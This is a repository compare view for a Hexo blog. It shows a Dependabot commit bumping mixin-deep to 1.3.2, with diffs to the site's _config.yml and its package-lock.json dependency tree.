Compare commits

..

1 Commits

Author SHA1 Message Date
dependabot[bot]
2f4dbf8fc2
Bump mixin-deep from 1.3.1 to 1.3.2
Bumps [mixin-deep](https://github.com/jonschlinkert/mixin-deep) from 1.3.1 to 1.3.2.
- [Release notes](https://github.com/jonschlinkert/mixin-deep/releases)
- [Commits](https://github.com/jonschlinkert/mixin-deep/compare/1.3.1...1.3.2)

Signed-off-by: dependabot[bot] <support@github.com>
2021-01-08 04:26:19 +00:00
44 changed files with 159 additions and 2856 deletions

View File

@ -4,8 +4,8 @@
# Site
title: 混元霹雳手
subtitle: Battle⚔ 2 the world🌎
description: Juice is temporary but Sauce is forever
subtitle:
description: 没人比我更懂中医#MAGA
keywords:
author: Cool-Y
language: zh-Hans
@ -34,21 +34,6 @@ code_dir: downloads/code
i18n_dir: :lang
skip_render:
# RSS
# https://github.com/hexojs/hexo-generator-feed
feed:
type: atom
path: atom.xml
limit: 20
hub:
content:
content_limit: 140
content_limit_delim: ' '
order_by: -date
icon: icon.png
autodiscovery: true
template:
# Writing
new_post_name: :title.md # File name of new posts
default_layout: post
@ -92,7 +77,6 @@ time_format: HH:mm:ss
per_page: 10
pagination_dir: page
# Extensions
## Plugins: https://hexo.io/plugins/
## Themes: https://hexo.io/themes/

659
package-lock.json generated
View File

@ -493,17 +493,6 @@
}
}
},
"clipboard": {
"version": "2.0.6",
"resolved": "https://registry.npmjs.org/clipboard/-/clipboard-2.0.6.tgz",
"integrity": "sha512-g5zbiixBRk/wyKakSwCKd7vQXDjFnAMGHoEyBogG/bw9kTD9GvdAvaoRR1ALcEzt3pVKxZR0pViekPMIS0QyGg==",
"optional": true,
"requires": {
"good-listener": "^1.2.2",
"select": "^1.1.2",
"tiny-emitter": "^2.0.0"
}
},
"cliui": {
"version": "3.2.0",
"resolved": "http://registry.npm.taobao.org/cliui/download/cliui-3.2.0.tgz",
@ -556,11 +545,6 @@
"resolved": "https://registry.npmjs.org/command-exists/-/command-exists-1.2.8.tgz",
"integrity": "sha512-PM54PkseWbiiD/mMsbvW351/u+dafwTJ0ye2qB60G1aGQP9j3xK2gmMDc+R34L3nDtx4qMCitXT75mkbkGJDLw=="
},
"commander": {
"version": "5.1.0",
"resolved": "https://registry.npmjs.org/commander/-/commander-5.1.0.tgz",
"integrity": "sha512-P0CysNDQ7rtVw4QIQtm+MRxV66vKFSvlsQvGYXZWR3qFU0jlMKHZZZgw8e+8DSah4UDKMqnknRDQz+xuQXQ/Zg=="
},
"component-emitter": {
"version": "1.2.1",
"resolved": "http://registry.npm.taobao.org/component-emitter/download/component-emitter-1.2.1.tgz",
@ -677,11 +661,6 @@
"resolved": "http://registry.npm.taobao.org/decode-uri-component/download/decode-uri-component-0.2.0.tgz",
"integrity": "sha1-6zkTMzRYd1y4TNGh+uBiEGu4dUU="
},
"deepmerge": {
"version": "4.2.2",
"resolved": "https://registry.npmjs.org/deepmerge/-/deepmerge-4.2.2.tgz",
"integrity": "sha512-FJ3UgI4gIl+PHZm53knsuSFpE+nESMr7M4v9QcgB7S63Kj/6WqMiFQJpBBYz1Pt+66bZpP3Q7Lye0Oo9MPKEdg=="
},
"define-property": {
"version": "2.0.2",
"resolved": "http://registry.npm.taobao.org/define-property/download/define-property-2.0.2.tgz",
@ -729,12 +708,6 @@
}
}
},
"delegate": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/delegate/-/delegate-3.2.0.tgz",
"integrity": "sha512-IofjkYBZaZivn0V8nnsMJGBr4jVLxHDheKSW88PyxS5QC4Vo9ZbZVvhzlSxY87fVq3STR6r+4cGepyHkcWOQSw==",
"optional": true
},
"depd": {
"version": "1.1.2",
"resolved": "http://registry.npm.taobao.org/depd/download/depd-1.1.2.tgz",
@ -970,7 +943,8 @@
},
"ansi-regex": {
"version": "2.1.1",
"bundled": true
"bundled": true,
"optional": true
},
"aproba": {
"version": "1.2.0",
@ -988,11 +962,13 @@
},
"balanced-match": {
"version": "1.0.0",
"bundled": true
"bundled": true,
"optional": true
},
"brace-expansion": {
"version": "1.1.11",
"bundled": true,
"optional": true,
"requires": {
"balanced-match": "^1.0.0",
"concat-map": "0.0.1"
@ -1005,15 +981,18 @@
},
"code-point-at": {
"version": "1.1.0",
"bundled": true
"bundled": true,
"optional": true
},
"concat-map": {
"version": "0.0.1",
"bundled": true
"bundled": true,
"optional": true
},
"console-control-strings": {
"version": "1.1.0",
"bundled": true
"bundled": true,
"optional": true
},
"core-util-is": {
"version": "1.0.2",
@ -1116,7 +1095,8 @@
},
"inherits": {
"version": "2.0.3",
"bundled": true
"bundled": true,
"optional": true
},
"ini": {
"version": "1.3.5",
@ -1126,6 +1106,7 @@
"is-fullwidth-code-point": {
"version": "1.0.0",
"bundled": true,
"optional": true,
"requires": {
"number-is-nan": "^1.0.0"
}
@ -1138,17 +1119,20 @@
"minimatch": {
"version": "3.0.4",
"bundled": true,
"optional": true,
"requires": {
"brace-expansion": "^1.1.7"
}
},
"minimist": {
"version": "0.0.8",
"bundled": true
"bundled": true,
"optional": true
},
"minipass": {
"version": "2.3.5",
"bundled": true,
"optional": true,
"requires": {
"safe-buffer": "^5.1.2",
"yallist": "^3.0.0"
@ -1165,6 +1149,7 @@
"mkdirp": {
"version": "0.5.1",
"bundled": true,
"optional": true,
"requires": {
"minimist": "0.0.8"
}
@ -1237,7 +1222,8 @@
},
"number-is-nan": {
"version": "1.0.1",
"bundled": true
"bundled": true,
"optional": true
},
"object-assign": {
"version": "4.1.1",
@ -1247,6 +1233,7 @@
"once": {
"version": "1.4.0",
"bundled": true,
"optional": true,
"requires": {
"wrappy": "1"
}
@ -1322,7 +1309,8 @@
},
"safe-buffer": {
"version": "5.1.2",
"bundled": true
"bundled": true,
"optional": true
},
"safer-buffer": {
"version": "2.1.2",
@ -1352,6 +1340,7 @@
"string-width": {
"version": "1.0.2",
"bundled": true,
"optional": true,
"requires": {
"code-point-at": "^1.0.0",
"is-fullwidth-code-point": "^1.0.0",
@ -1369,6 +1358,7 @@
"strip-ansi": {
"version": "3.0.1",
"bundled": true,
"optional": true,
"requires": {
"ansi-regex": "^2.0.0"
}
@ -1407,11 +1397,13 @@
},
"wrappy": {
"version": "1.0.2",
"bundled": true
"bundled": true,
"optional": true
},
"yallist": {
"version": "3.0.3",
"bundled": true
"bundled": true,
"optional": true
}
}
},
@ -1455,15 +1447,6 @@
"resolved": "http://registry.npm.taobao.org/globals/download/globals-11.11.0.tgz",
"integrity": "sha1-3Pk3V/ot5Uhvvu1xGFOK33ienC4="
},
"good-listener": {
"version": "1.2.2",
"resolved": "https://registry.npmjs.org/good-listener/-/good-listener-1.2.2.tgz",
"integrity": "sha1-1TswzfkxPf+33JoNR3CWqm0UXFA=",
"optional": true,
"requires": {
"delegate": "^3.1.2"
}
},
"graceful-fs": {
"version": "4.1.15",
"resolved": "http://registry.npm.taobao.org/graceful-fs/download/graceful-fs-4.1.15.tgz",
@ -2051,147 +2034,6 @@
}
}
},
"hexo-generator-feed": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/hexo-generator-feed/-/hexo-generator-feed-3.0.0.tgz",
"integrity": "sha512-Jo35VSRSNeMitS2JmjCq3OHAXXYU4+JIODujHtubdG/NRj2++b3Tgyz9pwTmROx6Yxr2php/hC8og5AGZHh8UQ==",
"requires": {
"hexo-util": "^2.1.0",
"nunjucks": "^3.0.0"
},
"dependencies": {
"camel-case": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
"integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
"requires": {
"pascal-case": "^3.1.2",
"tslib": "^2.0.3"
}
},
"cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
"requires": {
"path-key": "^3.1.0",
"shebang-command": "^2.0.0",
"which": "^2.0.1"
}
},
"dom-serializer": {
"version": "1.3.1",
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.3.1.tgz",
"integrity": "sha512-Pv2ZluG5ife96udGgEDovOOOA5UELkltfJpnIExPrAk1LTvecolUGn6lIaoLh86d83GiB86CjzciMd9BuRB71Q==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^4.0.0",
"entities": "^2.0.0"
},
"dependencies": {
"domhandler": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.1.0.tgz",
"integrity": "sha512-/6/kmsGlMY4Tup/nGVutdrK9yQi4YjWVcVeoQmixpzjOUK1U7pQkvAPHBJeUxOgxF0J8f8lwCJSlCfD0V4CMGQ==",
"requires": {
"domelementtype": "^2.2.0"
}
}
}
},
"domelementtype": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.2.0.tgz",
"integrity": "sha512-DtBMo82pv1dFtUmHyr48beiuq792Sxohr+8Hm9zoxklYPfa6n0Z3Byjj2IV7bmr2IyqClnqEQhfgHJJ5QF0R5A=="
},
"domhandler": {
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
"integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
"requires": {
"domelementtype": "^2.0.1"
}
},
"domutils": {
"version": "2.5.2",
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.5.2.tgz",
"integrity": "sha512-MHTthCb1zj8f1GVfRpeZUbohQf/HdBos0oX5gZcQFepOZPLLRyj6Wn7XS7EMnY7CVpwv8863u2vyE83Hfu28HQ==",
"requires": {
"dom-serializer": "^1.0.1",
"domelementtype": "^2.2.0",
"domhandler": "^4.1.0"
},
"dependencies": {
"domhandler": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.1.0.tgz",
"integrity": "sha512-/6/kmsGlMY4Tup/nGVutdrK9yQi4YjWVcVeoQmixpzjOUK1U7pQkvAPHBJeUxOgxF0J8f8lwCJSlCfD0V4CMGQ==",
"requires": {
"domelementtype": "^2.2.0"
}
}
}
},
"entities": {
"version": "2.2.0",
"resolved": "https://registry.npmjs.org/entities/-/entities-2.2.0.tgz",
"integrity": "sha512-p92if5Nz619I0w+akJrLZH0MX0Pb5DX39XOwQTtXSdQQOaYH03S1uIQp4mhOZtAXrxq4ViO67YTiLBo2638o9A=="
},
"hexo-util": {
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.4.0.tgz",
"integrity": "sha512-IPQvAyn0cznYMU2gskMiZ6LZEvN7wHNusrJoYxrir4f7S7POpZeDTBswiko9R1qqd+/hu07wUYZdm4ceTTCEaA==",
"requires": {
"bluebird": "^3.5.2",
"camel-case": "^4.0.0",
"cross-spawn": "^7.0.0",
"deepmerge": "^4.2.2",
"highlight.js": "^10.0.0",
"htmlparser2": "^4.0.0",
"prismjs": "^1.17.1",
"strip-indent": "^3.0.0",
"striptags": "^3.1.1"
}
},
"highlight.js": {
"version": "10.7.2",
"resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.7.2.tgz",
"integrity": "sha512-oFLl873u4usRM9K63j4ME9u3etNF0PLiJhSQ8rdfuL51Wn3zkD6drf9ZW0dOzjnZI22YYG24z30JcmfCZjMgYg=="
},
"htmlparser2": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
"integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^3.0.0",
"domutils": "^2.0.0",
"entities": "^2.0.0"
}
},
"strip-indent": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
"requires": {
"min-indent": "^1.0.0"
}
},
"striptags": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/striptags/-/striptags-3.1.1.tgz",
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
},
"which": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
"requires": {
"isexe": "^2.0.0"
}
}
}
},
"hexo-generator-index": {
"version": "0.2.1",
"resolved": "http://registry.npm.taobao.org/hexo-generator-index/download/hexo-generator-index-0.2.1.tgz",
@ -2201,153 +2043,6 @@
"object-assign": "^4.0.1"
}
},
"hexo-generator-json-content": {
"version": "4.2.3",
"resolved": "https://registry.npmjs.org/hexo-generator-json-content/-/hexo-generator-json-content-4.2.3.tgz",
"integrity": "sha512-XGqCaTUr6+X8Ty/YvRi+0eh0DJgHcp+lgBhn+Sgyh6ev40P0cwamwJyaZroTdHt8GPoBwbSGVu0H/CdzEf0lFA==",
"requires": {
"hexo-util": "^2.4.0",
"keyword-extractor": "^0.0.19",
"moment": "^2.29.1"
},
"dependencies": {
"camel-case": {
"version": "4.1.2",
"resolved": "https://registry.npmjs.org/camel-case/-/camel-case-4.1.2.tgz",
"integrity": "sha512-gxGWBrTT1JuMx6R+o5PTXMmUnhnVzLQ9SNutD4YqKtI6ap897t3tKECYla6gCWEkplXnlNybEkZg9GEGxKFCgw==",
"requires": {
"pascal-case": "^3.1.2",
"tslib": "^2.0.3"
}
},
"cross-spawn": {
"version": "7.0.3",
"resolved": "https://registry.npmjs.org/cross-spawn/-/cross-spawn-7.0.3.tgz",
"integrity": "sha512-iRDPJKUPVEND7dHPO8rkbOnPpyDygcDFtWjpeWNCgy8WP2rXcxXL8TskReQl6OrB2G7+UJrags1q15Fudc7G6w==",
"requires": {
"path-key": "^3.1.0",
"shebang-command": "^2.0.0",
"which": "^2.0.1"
}
},
"dom-serializer": {
"version": "1.2.0",
"resolved": "https://registry.npmjs.org/dom-serializer/-/dom-serializer-1.2.0.tgz",
"integrity": "sha512-n6kZFH/KlCrqs/1GHMOd5i2fd/beQHuehKdWvNNffbGHTr/almdhuVvTVFb3V7fglz+nC50fFusu3lY33h12pA==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^4.0.0",
"entities": "^2.0.0"
},
"dependencies": {
"domhandler": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.0.0.tgz",
"integrity": "sha512-KPTbnGQ1JeEMQyO1iYXoagsI6so/C96HZiFyByU3T6iAzpXn8EGEvct6unm1ZGoed8ByO2oirxgwxBmqKF9haA==",
"requires": {
"domelementtype": "^2.1.0"
}
}
}
},
"domelementtype": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/domelementtype/-/domelementtype-2.1.0.tgz",
"integrity": "sha512-LsTgx/L5VpD+Q8lmsXSHW2WpA+eBlZ9HPf3erD1IoPF00/3JKHZ3BknUVA2QGDNu69ZNmyFmCWBSO45XjYKC5w=="
},
"domhandler": {
"version": "3.3.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-3.3.0.tgz",
"integrity": "sha512-J1C5rIANUbuYK+FuFL98650rihynUOEzRLxW+90bKZRWB6A1X1Tf82GxR1qAWLyfNPRvjqfip3Q5tdYlmAa9lA==",
"requires": {
"domelementtype": "^2.0.1"
}
},
"domutils": {
"version": "2.4.4",
"resolved": "https://registry.npmjs.org/domutils/-/domutils-2.4.4.tgz",
"integrity": "sha512-jBC0vOsECI4OMdD0GC9mGn7NXPLb+Qt6KW1YDQzeQYRUFKmNG8lh7mO5HiELfr+lLQE7loDVI4QcAxV80HS+RA==",
"requires": {
"dom-serializer": "^1.0.1",
"domelementtype": "^2.0.1",
"domhandler": "^4.0.0"
},
"dependencies": {
"domhandler": {
"version": "4.0.0",
"resolved": "https://registry.npmjs.org/domhandler/-/domhandler-4.0.0.tgz",
"integrity": "sha512-KPTbnGQ1JeEMQyO1iYXoagsI6so/C96HZiFyByU3T6iAzpXn8EGEvct6unm1ZGoed8ByO2oirxgwxBmqKF9haA==",
"requires": {
"domelementtype": "^2.1.0"
}
}
}
},
"entities": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/entities/-/entities-2.1.0.tgz",
"integrity": "sha512-hCx1oky9PFrJ611mf0ifBLBRW8lUUVRlFolb5gWRfIELabBlbp9xZvrqZLZAs+NxFnbfQoeGd8wDkygjg7U85w=="
},
"hexo-util": {
"version": "2.4.0",
"resolved": "https://registry.npmjs.org/hexo-util/-/hexo-util-2.4.0.tgz",
"integrity": "sha512-IPQvAyn0cznYMU2gskMiZ6LZEvN7wHNusrJoYxrir4f7S7POpZeDTBswiko9R1qqd+/hu07wUYZdm4ceTTCEaA==",
"requires": {
"bluebird": "^3.5.2",
"camel-case": "^4.0.0",
"cross-spawn": "^7.0.0",
"deepmerge": "^4.2.2",
"highlight.js": "^10.0.0",
"htmlparser2": "^4.0.0",
"prismjs": "^1.17.1",
"strip-indent": "^3.0.0",
"striptags": "^3.1.1"
}
},
"highlight.js": {
"version": "10.5.0",
"resolved": "https://registry.npmjs.org/highlight.js/-/highlight.js-10.5.0.tgz",
"integrity": "sha512-xTmvd9HiIHR6L53TMC7TKolEj65zG1XU+Onr8oi86mYa+nLcIbxTTWkpW7CsEwv/vK7u1zb8alZIMLDqqN6KTw=="
},
"htmlparser2": {
"version": "4.1.0",
"resolved": "https://registry.npmjs.org/htmlparser2/-/htmlparser2-4.1.0.tgz",
"integrity": "sha512-4zDq1a1zhE4gQso/c5LP1OtrhYTncXNSpvJYtWJBtXAETPlMfi3IFNjGuQbYLuVY4ZR0QMqRVvo4Pdy9KLyP8Q==",
"requires": {
"domelementtype": "^2.0.1",
"domhandler": "^3.0.0",
"domutils": "^2.0.0",
"entities": "^2.0.0"
}
},
"moment": {
"version": "2.29.1",
"resolved": "https://registry.npmjs.org/moment/-/moment-2.29.1.tgz",
"integrity": "sha512-kHmoybcPV8Sqy59DwNDY3Jefr64lK/by/da0ViFcuA4DH0vQg5Q6Ze5VimxkfQNSC+Mls/Kx53s7TjP1RhFEDQ=="
},
"strip-indent": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/strip-indent/-/strip-indent-3.0.0.tgz",
"integrity": "sha512-laJTa3Jb+VQpaC6DseHhF7dXVqHTfJPCRDaEbid/drOhgitgYku/letMUqOXFoWV0zIIUbjpdH2t+tYj4bQMRQ==",
"requires": {
"min-indent": "^1.0.0"
}
},
"striptags": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/striptags/-/striptags-3.1.1.tgz",
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
},
"which": {
"version": "2.0.2",
"resolved": "https://registry.npmjs.org/which/-/which-2.0.2.tgz",
"integrity": "sha512-BLI3Tl1TW3Pvl70l3yq3Y64i+awpwXqsGBYWkkqMtnbXgrMD+yj7rhW0kuEDxzJaYXGjEW5ogapKNMEKNMjibA==",
"requires": {
"isexe": "^2.0.0"
}
}
}
},
"hexo-generator-search": {
"version": "2.4.0",
"resolved": "http://registry.npm.taobao.org/hexo-generator-search/download/hexo-generator-search-2.4.0.tgz",
@ -2358,139 +2053,24 @@
}
},
"hexo-generator-searchdb": {
"version": "1.3.3",
"resolved": "https://registry.npmjs.org/hexo-generator-searchdb/-/hexo-generator-searchdb-1.3.3.tgz",
"integrity": "sha512-kfnTHa1CkeVRujiXEN4BJYioC0Y1609FNamqZcE2gVQTkBkGJIuuEz7QFaXx/H+rPWODsWKZ0Gy6ETvPNQjfXg==",
"version": "1.0.8",
"resolved": "http://registry.npm.taobao.org/hexo-generator-searchdb/download/hexo-generator-searchdb-1.0.8.tgz",
"integrity": "sha1-BCRSVuFBOmYxOTLb8cCn5WhVkwE=",
"requires": {
"nunjucks": "^3.2.2"
"ejs": "^1.0.0",
"striptags": "^3.1.1",
"utils-merge": "^1.0.0"
},
"dependencies": {
"anymatch": {
"ejs": {
"version": "1.0.0",
"resolved": "http://registry.npm.taobao.org/ejs/download/ejs-1.0.0.tgz",
"integrity": "sha1-ycYKSKRu5FL7MqccMXuV5aofyz0="
},
"striptags": {
"version": "3.1.1",
"resolved": "https://registry.npmjs.org/anymatch/-/anymatch-3.1.1.tgz",
"integrity": "sha512-mM8522psRCqzV+6LhomX5wgp25YVibjh8Wj23I5RPkPppSVSjyKD2A2mBJmWGa+KN7f2D6LNh9jkBCeyLktzjg==",
"optional": true,
"requires": {
"normalize-path": "^3.0.0",
"picomatch": "^2.0.4"
}
},
"binary-extensions": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/binary-extensions/-/binary-extensions-2.1.0.tgz",
"integrity": "sha512-1Yj8h9Q+QDF5FzhMs/c9+6UntbD5MkRfRwac8DoEm9ZfUBZ7tZ55YcGVAzEe4bXsdQHEk+s9S5wsOKVdZrw0tQ==",
"optional": true
},
"braces": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz",
"integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==",
"optional": true,
"requires": {
"fill-range": "^7.0.1"
}
},
"chokidar": {
"version": "3.5.0",
"resolved": "https://registry.npmjs.org/chokidar/-/chokidar-3.5.0.tgz",
"integrity": "sha512-JgQM9JS92ZbFR4P90EvmzNpSGhpPBGBSj10PILeDyYFwp4h2/D9OM03wsJ4zW1fEp4ka2DGrnUeD7FuvQ2aZ2Q==",
"optional": true,
"requires": {
"anymatch": "~3.1.1",
"braces": "~3.0.2",
"fsevents": "~2.3.1",
"glob-parent": "~5.1.0",
"is-binary-path": "~2.1.0",
"is-glob": "~4.0.1",
"normalize-path": "~3.0.0",
"readdirp": "~3.5.0"
}
},
"fill-range": {
"version": "7.0.1",
"resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.0.1.tgz",
"integrity": "sha512-qOo9F+dMUmC2Lcb4BbVvnKJxTPjCm+RRpe4gDuGrzkL7mEVl/djYSu2OdQ2Pa302N4oqkSg9ir6jaLWJ2USVpQ==",
"optional": true,
"requires": {
"to-regex-range": "^5.0.1"
}
},
"fsevents": {
"version": "2.3.1",
"resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.1.tgz",
"integrity": "sha512-YR47Eg4hChJGAB1O3yEAOkGO+rlzutoICGqGo9EZ4lKWokzZRSyIW1QmTzqjtw8MJdj9srP869CuWw/hyzSiBw==",
"optional": true
},
"glob-parent": {
"version": "5.1.1",
"resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.1.tgz",
"integrity": "sha512-FnI+VGOpnlGHWZxthPGR+QhR78fuiK0sNLkHQv+bL9fQi57lNNdquIbna/WrfROrolq8GK5Ek6BiMwqL/voRYQ==",
"optional": true,
"requires": {
"is-glob": "^4.0.1"
}
},
"is-binary-path": {
"version": "2.1.0",
"resolved": "https://registry.npmjs.org/is-binary-path/-/is-binary-path-2.1.0.tgz",
"integrity": "sha512-ZMERYes6pDydyuGidse7OsHxtbI7WVeUEozgR/g7rd0xUimYNlvZRE/K2MgZTjWy725IfelLeVcEM97mmtRGXw==",
"optional": true,
"requires": {
"binary-extensions": "^2.0.0"
}
},
"is-extglob": {
"version": "2.1.1",
"resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-2.1.1.tgz",
"integrity": "sha1-qIwCU1eR8C7TfHahueqXc8gz+MI="
},
"is-glob": {
"version": "4.0.1",
"resolved": "https://registry.npmjs.org/is-glob/-/is-glob-4.0.1.tgz",
"integrity": "sha512-5G0tKtBTFImOqDnLB2hG6Bp2qcKEFduo4tZu9MT/H6NQv/ghhy30o55ufafxJ/LdH79LLs2Kfrn85TLKyA7BUg==",
"requires": {
"is-extglob": "^2.1.1"
}
},
"is-number": {
"version": "7.0.0",
"resolved": "https://registry.npmjs.org/is-number/-/is-number-7.0.0.tgz",
"integrity": "sha512-41Cifkg6e8TylSpdtTpeLVMqvSBEVzTttHvERD741+pnZ8ANv0004MRL43QKPDlK9cGvNp6NZWZUBlbGXYxxng==",
"optional": true
},
"normalize-path": {
"version": "3.0.0",
"resolved": "https://registry.npmjs.org/normalize-path/-/normalize-path-3.0.0.tgz",
"integrity": "sha512-6eZs5Ls3WtCisHWp9S2GUy8dqkpGi4BVSz3GaqiE6ezub0512ESztXUwUB6C6IKbQkY2Pnb/mD4WYojCRwcwLA=="
},
"nunjucks": {
"version": "3.2.2",
"resolved": "https://registry.npmjs.org/nunjucks/-/nunjucks-3.2.2.tgz",
"integrity": "sha512-KUi85OoF2NMygwODAy28Lh9qHmq5hO3rBlbkYoC8v377h4l8Pt5qFjILl0LWpMbOrZ18CzfVVUvIHUIrtED3sA==",
"requires": {
"a-sync-waterfall": "^1.0.0",
"asap": "^2.0.3",
"chokidar": "^3.3.0",
"commander": "^5.1.0"
}
},
"readdirp": {
"version": "3.5.0",
"resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.5.0.tgz",
"integrity": "sha512-cMhu7c/8rdhkHXWsY+osBhfSy0JikwpHK/5+imo+LpeasTF8ouErHrlYkwT0++njiyuDvc7OFY5T3ukvZ8qmFQ==",
"optional": true,
"requires": {
"picomatch": "^2.2.1"
}
},
"to-regex-range": {
"version": "5.0.1",
"resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz",
"integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==",
"optional": true,
"requires": {
"is-number": "^7.0.0"
}
"resolved": "http://registry.npm.taobao.org/striptags/download/striptags-3.1.1.tgz",
"integrity": "sha1-yMPn/db7S7OjKjt1LltePjgJPr0="
}
}
},
@ -2907,34 +2487,6 @@
"resolved": "https://registry.npmjs.org/jsonparse/-/jsonparse-1.3.1.tgz",
"integrity": "sha1-P02uSpH6wxX3EGL4UhzCOfE2YoA="
},
"keyword-extractor": {
"version": "0.0.19",
"resolved": "https://registry.npmjs.org/keyword-extractor/-/keyword-extractor-0.0.19.tgz",
"integrity": "sha512-DmDgxAyICtLfowsP6ElzcV8ctv/OhqrpED4EINrIE5kl46rtRDmN9Ab4NsUMoy7ULm8rxS46Fc/eHMlhD02HIg==",
"requires": {
"js-yaml": ">=3.13.1",
"kind-of": ">=6.0.3",
"minimist": ">=0.2.1",
"set-value": ">=2.0.1",
"underscore": "1.10.2",
"underscore.string": "3.3.5"
},
"dependencies": {
"kind-of": {
"version": "6.0.3",
"resolved": "https://registry.npmjs.org/kind-of/-/kind-of-6.0.3.tgz",
"integrity": "sha512-dcS1ul+9tmeD95T+x28/ehLgd9mENa3LsvDTtzm3vyBEO7RPptvAD+t44WVXaUjTBRcrpFeFlC8WCruUR456hw=="
},
"set-value": {
"version": "3.0.2",
"resolved": "https://registry.npmjs.org/set-value/-/set-value-3.0.2.tgz",
"integrity": "sha512-npjkVoz+ank0zjlV9F47Fdbjfj/PfXyVhZvGALWsyIYU/qrMzpi6avjKW3/7KeSU2Df3I46BrN1xOI1+6vW0hA==",
"requires": {
"is-plain-object": "^2.0.4"
}
}
}
},
"kind-of": {
"version": "3.2.2",
"resolved": "http://registry.npm.taobao.org/kind-of/download/kind-of-3.2.2.tgz",
@ -3109,11 +2661,6 @@
"mime-db": "~1.38.0"
}
},
"min-indent": {
"version": "1.0.1",
"resolved": "https://registry.npmjs.org/min-indent/-/min-indent-1.0.1.tgz",
"integrity": "sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg=="
},
"minimatch": {
"version": "3.0.4",
"resolved": "http://registry.npm.taobao.org/minimatch/download/minimatch-3.0.4.tgz",
@ -3128,9 +2675,9 @@
"integrity": "sha1-o1AIsg9BOD7sH7kU9M1d95omQoQ="
},
"mixin-deep": {
"version": "1.3.1",
"resolved": "http://registry.npm.taobao.org/mixin-deep/download/mixin-deep-1.3.1.tgz",
"integrity": "sha1-pJ5yaNzhoNlpjkUybFYm3zVD0P4=",
"version": "1.3.2",
"resolved": "https://registry.npmjs.org/mixin-deep/-/mixin-deep-1.3.2.tgz",
"integrity": "sha512-WRoDn//mXBiJ1H40rqa3vH0toePwSsGb45iInWlTySa+Uu4k3tYUSxa2v1KqAiLtvlrSzaExqS1gtk96A9zvEA==",
"requires": {
"for-in": "^1.0.2",
"is-extendable": "^1.0.1"
@ -3138,8 +2685,8 @@
"dependencies": {
"is-extendable": {
"version": "1.0.1",
"resolved": "http://registry.npm.taobao.org/is-extendable/download/is-extendable-1.0.1.tgz",
"integrity": "sha1-p0cPnkJnM9gb2B4RVSZOOjUHyrQ=",
"resolved": "https://registry.npmjs.org/is-extendable/-/is-extendable-1.0.1.tgz",
"integrity": "sha512-arnXMxT1hhoKo9k1LZdmlNyJdDDfy2v0fXjFlmok4+i8ul/6WlbVge9bhM74OpNPQPMGUToDtz+KXa1PneJxOA==",
"requires": {
"is-plain-object": "^2.0.4"
